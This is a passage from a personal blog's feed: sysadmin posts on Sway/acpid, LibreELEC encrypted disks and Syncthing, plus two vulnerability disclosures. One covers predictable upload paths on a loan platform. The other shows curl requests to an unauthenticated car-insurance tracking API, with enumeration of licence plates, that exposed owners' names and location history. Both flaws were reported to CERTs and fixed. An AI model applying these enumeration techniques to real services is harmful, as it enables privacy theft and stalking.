&lt;p&gt;That’s tempting, isn’t?&lt;/p&gt;

&lt;p&gt;I wanted to have some fun and I tried the following:&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/loan_curl.png"&gt;&lt;img src="/images/loan_curl_thumb.png" alt="Loan download" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Both the &lt;code&gt;curl&lt;/code&gt; output and the checksums are enough to understand that some document has been downloaded there (but discarded since I didn’t download them to my disk…).&lt;/p&gt;

&lt;p&gt;Thus, since the &lt;code&gt;d&lt;/code&gt; and &lt;code&gt;o&lt;/code&gt; parent folders match the two initial letters of my file, I successfully tried with stuff like:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code&gt;/c/o/contratto.pdf&lt;/code&gt;, &lt;code&gt;/c/o/contratto_2.pdf&lt;/code&gt;, …&lt;/li&gt;
  &lt;li&gt;&lt;code&gt;/c/o/contract.pdf&lt;/code&gt;, …&lt;/li&gt;
  &lt;li&gt;&lt;code&gt;/p/r/prospetto.pdf&lt;/code&gt;, …&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;and it does also work with numbers too (to find this out I had to upload a file named &lt;code&gt;1.pdf&lt;/code&gt; 😇), e.g. &lt;code&gt;https://&amp;lt;host&amp;gt;/media/mutuo/file/1/_/1_10.pdf&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;If you have uploaded your amortisation schedule to this platform, that in its website says it has more than 300k users from 3k different companies, well someone may have downloaded it.&lt;/p&gt;

&lt;p&gt;I reported this privacy flaw to the &lt;a href="https://csirt.gov.it/"&gt;CSIRT Italia&lt;/a&gt; via a PGP encrypted email; the CSIRT is supposed to write to the company that owns the platform to alert them to the problem, but a week later I still hadn’t heard from either of them. So after a week I pinged the CSIRT again, and they replied with a plain text email telling me that they had opened an internal ticket and were nice enough to embed my initial PGP encrypted email.&lt;/p&gt;

&lt;p&gt;Two weeks later (about 21 days since my first mail) the platform fixed the problem (the uploaded file path isn’t deterministic anymore and authentication is in place), but I still haven’t heard from them.&lt;/p&gt;

&lt;h2 id="addendum"&gt;Addendum&lt;/h2&gt;

&lt;p&gt;Since &lt;code&gt;&amp;lt;host&amp;gt;&lt;/code&gt; is a third-level domain in my case, I used stuff like &lt;a href="https://github.com/aboul3la/Sublist3r"&gt;&lt;code&gt;Sublist3r&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://github.com/OWASP/Amass"&gt;&lt;code&gt;Amass&lt;/code&gt;&lt;/a&gt;, but you can also use the online version hosted on &lt;a href="https://www.nmmapper.com/sys/tools/subdomainfinder/"&gt;nmmapper.com&lt;/a&gt;, to perform DNS enumeration and I found ~50 websites, 30 of which are aliases pointing to the same host. In fact, I could replace &lt;code&gt;&amp;lt;host&amp;gt;&lt;/code&gt; with each of them and I would always download my &lt;code&gt;document_2.pdf&lt;/code&gt; file.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2020-02-07:/posts/sway-and-the-dock-station.html</id>
    <title type="html">Sway and the Dock station</title>
    <published>2020-02-07T00:00:00Z</published>
    <updated>2020-02-07T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/sway-and-the-dock-station.html" type="text/html"/>
    <content type="html">&lt;p&gt;I just moved permanently from &lt;a href="https://awesomewm.org/"&gt;awesome&lt;/a&gt; to &lt;a href="https://swaywm.org/"&gt;Sway&lt;/a&gt; because I can barely see any difference. Really.&lt;/p&gt;

&lt;p&gt;The whole Wayland ecosystem has improved a LOT since last time I used it. That was last year, as I give Wayland a try once a year since 2016.&lt;/p&gt;

&lt;p&gt;However, I had to ditch an useful daemon, &lt;a href="https://libthinkpad.github.io/projects/dockd/"&gt;dockd&lt;/a&gt;. It does automatically disable my laptop screen when I put it in the dock station, but it does relies over xrandr.&lt;/p&gt;

&lt;p&gt;What to use then?&lt;/p&gt;

&lt;p&gt;ACPI events.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://sourceforge.net/projects/acpid2/"&gt;acpid&lt;/a&gt; daemon can be configured to listen to ACPI events and to trigger your custom script. You just have to define which events are you interested in (it does accept wildcards also) and which script acpid should trigger when such events occurs.&lt;/p&gt;

&lt;p&gt;I used &lt;code&gt;acpi_listen&lt;/code&gt; to catch the events which gets triggered by the physical dock/undock actions:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# acpi_listen
ibm/hotkey LEN0068:00 00000080 00004010
[...]
ibm/hotkey LEN0068:00 00000080 00004011
[...]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then, I setup an &lt;code&gt;acpid&lt;/code&gt; listener by creating the file &lt;code&gt;/etc/acpi/events/dock&lt;/code&gt; with the following content:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;event=ibm/hotkey
action=/etc/acpi/actions/dock.sh %e
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This listener will call my script only when an event of type &lt;code&gt;ibm/hotkey&lt;/code&gt; occurs, then it tells &lt;code&gt;sway&lt;/code&gt; to disable or enable the laptop screen based on the action code. Here’s my &lt;code&gt;dock.sh&lt;/code&gt; script:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/sh

pid=$(pgrep '^sway$')

if [ -z $pid ]; then
    logger "sway isn't running. Nothing to do"
    exit
fi

user=$(ps -o uname= -p $pid)

case "$4" in
  00004010)
    runuser -l $user -c 'SWAYSOCK=/run/user/$(id -u)/sway-ipc.$(id -u).$(pidof sway).sock swaymsg "output LVDS-1 disable"'
    logger "Disabled LVDS-1"
    ;;
  00004011)
    runuser -l $user -c 'SWAYSOCK=/run/user/$(id -u)/sway-ipc.$(id -u).$(pidof sway).sock swaymsg "output LVDS-1 enable"'
    logger "Enabled LVDS-1"
    ;;
esac
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Don’t forget to make it executable!&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;chmod +x /etc/acpi/actions/dock.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And then start the &lt;code&gt;acpid&lt;/code&gt; daemon:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;systemctl enable --now acpid
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Happy docking!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2019-05-05:/posts/external-encrypted-disk-on-libreelec.html</id>
    <title type="html">External encrypted disk on LibreELEC</title>
    <published>2019-05-05T00:00:00Z</published>
    <updated>2019-05-05T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/external-encrypted-disk-on-libreelec.html" type="text/html"/>
    <content type="html">&lt;p&gt;Last year I replaced, on the Raspberry Pi, the &lt;a href="https://archlinuxarm.org/"&gt;ArchLinux ARM&lt;/a&gt;
with just Kodi installed with &lt;a href="https://libreelec.tv/"&gt;LibreELEC&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Today I plugged an external disk encrypted with dm-crypt, but to my full
surprise this &lt;a href="https://forum.libreelec.tv/thread/285-dm-crypt-and-luks/"&gt;isn’t supported&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Luckily the project is open source and &lt;a href="https://github.com/sky42src"&gt;sky42&lt;/a&gt;
already provides a &lt;a href="https://forum.libreelec.tv/thread/13252-le-9-0-x-with-dm-crypt-and-ext4-encryption/"&gt;LibreELEC version with dm-crypt&lt;/a&gt;
built-in support.&lt;/p&gt;

&lt;p&gt;Once I flashed sky42’s version, I setup automated mount at startup via the &lt;a href="https://wiki.libreelec.tv/autostart.sh"&gt;autostart.sh&lt;/a&gt;
script and the corresponding umount via &lt;a href="https://wiki.libreelec.tv/autostart.sh#shutdownsh"&gt;shutdown.sh&lt;/a&gt;
this way:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;// copy your keyfile into /storage via SSH
$ cat /storage/.config/autostart.sh
cryptsetup luksOpen /dev/sda1 disk1 --key-file /storage/keyfile
mount /dev/mapper/disk1 /media

$ cat /storage/.config/shutdown.sh
umount /media
cryptsetup luksClose disk1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Reboot it and voilà!&lt;/p&gt;

&lt;h2 id="automount"&gt;Automount&lt;/h2&gt;

&lt;p&gt;If you want to automatically mount the disk whenever you plug it, then create
the following udev rule:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;// Find out ID_VENDOR_ID and ID_MODEL_ID for your drive by using `udevadm info`
$ cat /storage/.config/udev.rules.d/99-automount.rules
ACTION=="add", SUBSYSTEM=="usb", SUBSYSTEM=="block", ENV{ID_VENDOR_ID}=="0000", ENV{ID_MODEL_ID}=="9999", RUN+="cryptsetup luksOpen $env{DEVNAME} disk1 --key-file /storage/keyfile", RUN+="mount /dev/mapper/disk1 /media"
&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2019-05-04:/posts/automated-phone-backup-with-syncthing.html</id>
    <title type="html">Automated phone backup with Syncthing</title>
    <published>2019-05-04T00:00:00Z</published>
    <updated>2019-05-04T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/automated-phone-backup-with-syncthing.html" type="text/html"/>
    <content type="html">&lt;p&gt;How do you backup your phones? Do you?&lt;/p&gt;

&lt;p&gt;I use to perform a copy of all the photos and videos from my and my wife’s
phone to my PC monthly and then I copy them to an external HDD attached to a
Raspberry Pi.&lt;/p&gt;

&lt;p&gt;However, it’s a tedious job mainly because:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I cannot really use the phones during this process;&lt;/li&gt;
  &lt;li&gt;MTP works one in 3 times - often I have to fallback to ADB;&lt;/li&gt;
  &lt;li&gt;I have to unmount the SD cards to speed up the copy;&lt;/li&gt;
  &lt;li&gt;after I copy the files, I have to &lt;a href="https://rsync.samba.org/"&gt;rsync&lt;/a&gt;
 everything to the external HDD.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="the-syncthing-way"&gt;The Syncthing way&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://syncthing.net/"&gt;Syncthing&lt;/a&gt; describes itself as:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Syncthing replaces proprietary sync and cloud services with something open,
trustworthy and decentralized.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I installed &lt;a href="https://f-droid.org/en/packages/com.nutomic.syncthingandroid"&gt;it&lt;/a&gt;
to our Android phones and on the Raspberry Pi. On the Raspberry Pi I also
&lt;a href="https://docs.syncthing.net/users/faq.html#how-do-i-access-the-web-gui-from-another-computer"&gt;enabled remote access&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I started the Syncthing application on the Android phones and I’ve chosen the
folders (you can also select the whole Internal memory) to backup. Then, I
shared them with the Raspberry Pi only and I set the folder type to “&lt;a href="https://docs.syncthing.net/users/foldertypes.html#send-only-folder"&gt;Send Only&lt;/a&gt;”
because I don’t want the Android phone to retrieve any file from the Raspberry
Pi.&lt;/p&gt;

&lt;p&gt;On the Raspberry Pi, I accepted the sharing request from the Android phones,
but I also changed the folder type to “&lt;a href="[https://docs.syncthing.net/users/foldertypes.html#receive-only-folder"&gt;Receive Only&lt;/a&gt;”
because I don’t want the Raspberry Pi to send any file to the Android phones.&lt;/p&gt;

&lt;p&gt;All done? Not yet.&lt;/p&gt;

&lt;p&gt;Syncthing main purpose is to sync, not to backup. This means that, by default,
if I delete a photo from my phone, that photo is gone from the Raspberry Pi too
and this isn’t what I do need nor what I do want.&lt;/p&gt;

&lt;p&gt;However, Syncthing supports &lt;a href="https://docs.syncthing.net/users/versioning.html#file-versioning"&gt;File Versioning&lt;/a&gt;
and best yet it does support a &lt;a href="https://docs.syncthing.net/users/versioning.html#trash-can-file-versioning"&gt;“trash can”-like file versioning&lt;/a&gt;
which moves your deleted files into a &lt;strong&gt;.stversions&lt;/strong&gt; subfolder, but if this
isn’t enough yet you can also &lt;a href="https://docs.syncthing.net/users/versioning.html#external-file-versioning"&gt;write your own&lt;/a&gt; file versioning script.&lt;/p&gt;

&lt;p&gt;All done? Yes! Whenever I do connect to my own WiFi my photos are backed up!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2017-05-11:/posts/how-my-car-insurance-exposed-my-position.html</id>
    <title type="html">How my car insurance exposed my position</title>
    <published>2017-05-11T00:00:00Z</published>
    <updated>2017-05-11T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/how-my-car-insurance-exposed-my-position.html" type="text/html"/>
    <content type="html">&lt;p&gt;As many car insurance companies do, my car insurance company provides a
satellite device that can be put inside your car to provide your car’s
location at any time in any place.&lt;/p&gt;

&lt;p&gt;By installing such device in your car, the car insurance company profiles
your conduct, of course, but it could also help the police in finding your car
if it gets stolen and you will probably get a nice discount over the insurance
price (even up to 40%!). Long story short: I got one.&lt;/p&gt;

&lt;p&gt;Often such companies also provide an “App” for smartphones to easily track your
car when you are away or to monitor your partner…mine (the company!) does
too.&lt;/p&gt;

&lt;p&gt;Then I downloaded my company’s application for Android, but unluckily it needs
the Google Play Services to run. I am a FLOSS evangelist and, as such, I try to
use FLOSS apps only and without GApps.&lt;/p&gt;

&lt;p&gt;Luckily I’m also a developer and, as such, I try to develop the applications I
need most; using &lt;a href="https://mitmproxy.org/"&gt;mitmproxy&lt;/a&gt;, I started to analyze the
APIs used by the App to write my own client.&lt;/p&gt;

&lt;h2 id="authentication"&gt;Authentication&lt;/h2&gt;

&lt;p&gt;As soon as the App starts you need to authenticate yourself to enable the
buttons that allow you to track your car. Fair enough.&lt;/p&gt;

&lt;p&gt;The authentication form first asks for your taxpayer’s code; I entered mine, and
under the hood it made the following request:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl -X POST -d 'BLUCS§&amp;lt;taxpayers_code&amp;gt;§-1' http://&amp;lt;domain&amp;gt;/BICServices/BICService.svc/restpostcheckpicf&amp;lt;company&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The Web service replies with a cell phone number (WTF?):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;2§&amp;lt;international_calling_code&amp;gt;§&amp;lt;cell_phone_number&amp;gt;§-1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Wait. What do we see here? Yes, besides the ugliest formatting ever and the
fact the request uses plain HTTP, it takes only 3 arguments to get a cell
phone number? And guess what? The first one and the latter are both constants.
In fact, if we put an inexistent taxpayer’s code, keeping the same values,
we get:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;-1§&amp;lt;international_calling_code&amp;gt;§§-100%
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;…otherwise &lt;strong&gt;we get a cell phone number for the given taxpayer’s code&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;I shook my head and I continued the authentication flow.&lt;/p&gt;

&lt;p&gt;After that, the App asks me to confirm the cell phone number it retrieved is
still valid, but it also wants the password I got via mail when subscribing to
the car insurance; OK let’s proceed:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl -X POST -d 'BLUCS§&amp;lt;taxpayers_code&amp;gt;§&amp;lt;device_imei&amp;gt;§&amp;lt;android_id&amp;gt;§&amp;lt;device_brand&amp;gt;-&amp;lt;device_model&amp;gt;_unknown-&amp;lt;api_platform&amp;gt;-&amp;lt;os_version&amp;gt;-&amp;lt;device_code&amp;gt;§&amp;lt;cell_phone_number&amp;gt;§2§&amp;lt;password&amp;gt;§§-1' http://&amp;lt;domain&amp;gt;/BICServices/BICService.svc/restpostsmartphoneactivation&amp;lt;company&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The Web service responds with:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;0§&amp;lt;some_code&amp;gt;§&amp;lt;my_full_name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The &lt;em&gt;some_code&lt;/em&gt; parameter changes every time, so it seems to work as a
“registration id”, but after this step the App unlocked the button to track my
car.&lt;/p&gt;

&lt;p&gt;I was already astonished at this point: how the authentication will work? Does
it need this &lt;em&gt;some_code&lt;/em&gt; in combination with my password at each request? Or
maybe it will ask for my taxpayer code?&lt;/p&gt;

&lt;h2 id="car-tracking"&gt;Car tracking&lt;/h2&gt;

&lt;p&gt;I start implementing the car tracking feature, which allows to retrieve the
last 20 positions of your car, so let’s analyze the request made by the App:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl -X POST -d 'ASS_NEW§&amp;lt;car_license&amp;gt;§2§-1' http://&amp;lt;domain&amp;gt;/BICServices/BICService.svc/restpostlastnpositions&amp;lt;company&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The Web service responds with:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;0§20§&amp;lt;another_code&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;§DD/MM/YYYY HH:mm:SS#&amp;lt;latitude&amp;gt;#&amp;lt;longitude&amp;gt;#0#1#1#1-&amp;lt;country&amp;gt;-&amp;lt;state&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;street&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;WTH?!? No header?!? No cookie?!? No authentication parameters?!?&lt;/p&gt;

&lt;p&gt;Yes, you’d be right: &lt;strong&gt;you just need a car license and you get its last 20
positions&lt;/strong&gt;. And what’s that &lt;em&gt;another_code&lt;/em&gt;? I just write it down for the
moment.&lt;/p&gt;

&lt;p&gt;I couldn’t believe it, I initally thought (or hoped) they stored my IP somewhere so
I’m authorized to get this data now, so let’s try from a VPN…oh damn, it
worked.&lt;/p&gt;

&lt;p&gt;Then I tried with an inexistent car license and I got:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;-2§TARGA NON ASSOCIATA%
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;which means: “that car license is not in our database”.&lt;/p&gt;

&lt;p&gt;So what &lt;strong&gt;we could&lt;/strong&gt; get here with the help of &lt;a href="https://sourceforge.net/projects/crunch-wordlist/"&gt;crunch&lt;/a&gt;?
Easy enough: &lt;strong&gt;a list of car licenses that are covered by this company&lt;/strong&gt; and
&lt;strong&gt;last 20 positions for each one&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I couldn’t stop there.&lt;/p&gt;

&lt;h2 id="the-web-client"&gt;The Web client&lt;/h2&gt;

&lt;p&gt;This car insurance company also provides a Web client which allows more
operations, so I logged in to analyze its requests and althought it’s hosted on a
different domain, and it also uses a cookie for almost any request, it performs
one single request to the domain I previously used. Which isn’t authenticated
and caught my attention:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl http://&amp;lt;domain&amp;gt;/&amp;lt;company&amp;gt;/(S(&amp;lt;uuid&amp;gt;))/NewRemoteAuthentication.aspx?RUOLO=CL&amp;amp;ID=&amp;lt;another_code&amp;gt;&amp;amp;TARGA=&amp;lt;car_license&amp;gt;&amp;amp;CONTRATTO=&amp;lt;foo&amp;gt;&amp;amp;VOUCHER=&amp;lt;bar&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This one replies with an HTML page that is shown in the Web client:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" &amp;gt;
&amp;lt;HTML&amp;gt;
&amp;lt;HEAD&amp;gt;
    &amp;lt;title&amp;gt;NewRemoteAuthentication&amp;lt;/title&amp;gt;
    &amp;lt;meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1" /&amp;gt;
    &amp;lt;meta name="CODE_LANGUAGE" Content="C#" /&amp;gt;
    &amp;lt;meta name="vs_defaultClientScript" content="JavaScript"/&amp;gt;
    &amp;lt;meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie7" /&amp;gt;
        &amp;lt;!--&amp;lt;meta content="IE=EmulateIE10" name="ie_compatibility" http-equiv="X-UA-Compatible" /&amp;gt;--&amp;gt;
        &amp;lt;meta name="ie_compatibility" http-equiv="X-UA-Compatible" content="IE=7, IE=8, IE=EmulateIE9, IE=10, IE=11" /&amp;gt;
&amp;lt;/HEAD&amp;gt;
    &amp;lt;body&amp;gt;
    &amp;lt;form name="Form1" method="post" action="/&amp;lt;company&amp;gt;/(S(&amp;lt;uuid&amp;gt;))/NewRemoteAuthentication.aspx?RUOLO=CL&amp;amp;amp;ID=&amp;lt;another_code&amp;gt;&amp;amp;amp;TARGA=&amp;lt;car_license&amp;gt;" id="Form1"&amp;gt;
&amp;lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTIwNzEwODIsJFNAgEPKAJDIeBsdSpc2libGVnZGRic5McHC9+DqRx0H+jRt5O+/PLtw==" /&amp;gt;

            &amp;lt;iframe id="frm1" src="NewRicerca.aspx" width="100%" height="100%"&amp;gt;&amp;lt;/iframe&amp;gt;


&amp;lt;SCRIPT language="JavaScript"&amp;gt;
&amp;lt;!--
self.close
// --&amp;gt;
&amp;lt;/SCRIPT&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/HTML&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It includes an iframe (sigh!), but that’s the interesting part!!! Look:&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/car_history.png"&gt;&lt;img src="/images/car_history_thumb.png" alt="Car history" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From that page you get:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the full name of the person that has subscribed the insurance;&lt;/li&gt;
  &lt;li&gt;the car model and brand;&lt;/li&gt;
  &lt;li&gt;the total amount of kilometers made by the car;&lt;/li&gt;
  &lt;li&gt;the total amount of travels (meant as “car is moving”) made by the car;&lt;/li&gt;
  &lt;li&gt;access to months travels details (how many travels);&lt;/li&gt;
  &lt;li&gt;access to day travels details (latitude, longitude, date and time);&lt;/li&gt;
  &lt;li&gt;access to months statistics (how often you use your car).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="/images/car_month_history.png"&gt;&lt;img src="/images/car_month_history_thumb.png" alt="Car month history" /&gt;&lt;/a&gt;
&lt;a href="/images/car_day_history.png"&gt;&lt;img src="/images/car_day_history_thumb.png" alt="Car day history" /&gt;&lt;/a&gt;
&lt;a href="/images/car_month_statistics.png"&gt;&lt;img src="/images/car_month_statistics_thumb.png" alt="Car month_statistics" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There’s a lot of information here and these statistics are available
&lt;strong&gt;since installation of the satellite device&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The request isn’t authenticated so I just have to understand the parameters to
fill in. Often not all parameters are required and then I tried by removing
some of them to find out which are really needed. It turns out that I can simplify
that as:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl http://&amp;lt;domain&amp;gt;/&amp;lt;company&amp;gt;/(S(&amp;lt;uuid&amp;gt;))/NewRemoteAuthentication.aspx?RUOLO=CL&amp;amp;ID=&amp;lt;another_code&amp;gt;&amp;amp;TARGA=&amp;lt;car_license&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;But there’s still an &lt;em&gt;another_code&lt;/em&gt; there…mmm, wait it looks like the
number I took down previously! And yes, it’s!&lt;/p&gt;

&lt;p&gt;So, &lt;code&gt;http://&amp;lt;domain&amp;gt;/&amp;lt;company&amp;gt;/(S(&amp;lt;uuid&amp;gt;))/NewRicerca.aspx&lt;/code&gt; is the page that
actually shows all the information, but how do I generate that UUID?&lt;/p&gt;

&lt;p&gt;I tried by removing it first and then I got an empty page. Sure, makes sense,
how that page will ever know which data I’m looking for?&lt;/p&gt;

&lt;p&gt;Then it must be the &lt;em&gt;NewRemoteAuthentication.aspx&lt;/em&gt; page that does something; I
tried again by removing the uuid from that url and to my surprise it
redirected me to the same url, but it also filled the uuid part as path
parameter! Now I can finally invoke the &lt;em&gt;NewRicerca.aspx&lt;/em&gt; using that uuid and
read all the data!&lt;/p&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;You just need a car license that’s covered by this company to get &lt;strong&gt;all the
travels made by that car, the full name of its owner and its position in real
time.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I reported this privacy flaw to the &lt;a href="https://www.certnazionale.it/"&gt;CERT Nazionale&lt;/a&gt;
which wrote to the company.&lt;/p&gt;

&lt;p&gt;The company fixed the leak 3 weeks later by providing new Web services
endpoints that use authenticated calls. The company mailed its users telling
them to update their App as soon as possible. The old Web services were
shut down after 1 month and half after my first contact with the CERT Nazionale.&lt;/p&gt;

&lt;p&gt;I could be wrong, but I suspect the privacy flaw has been around for 3 years
because the first Android version of the App uses the same APIs.&lt;/p&gt;

&lt;p&gt;I received no bounty.&lt;/p&gt;

&lt;p&gt;The company is a leading provider of telematics solutions.&lt;/p&gt;
</content>
  </entry>
  <entry>
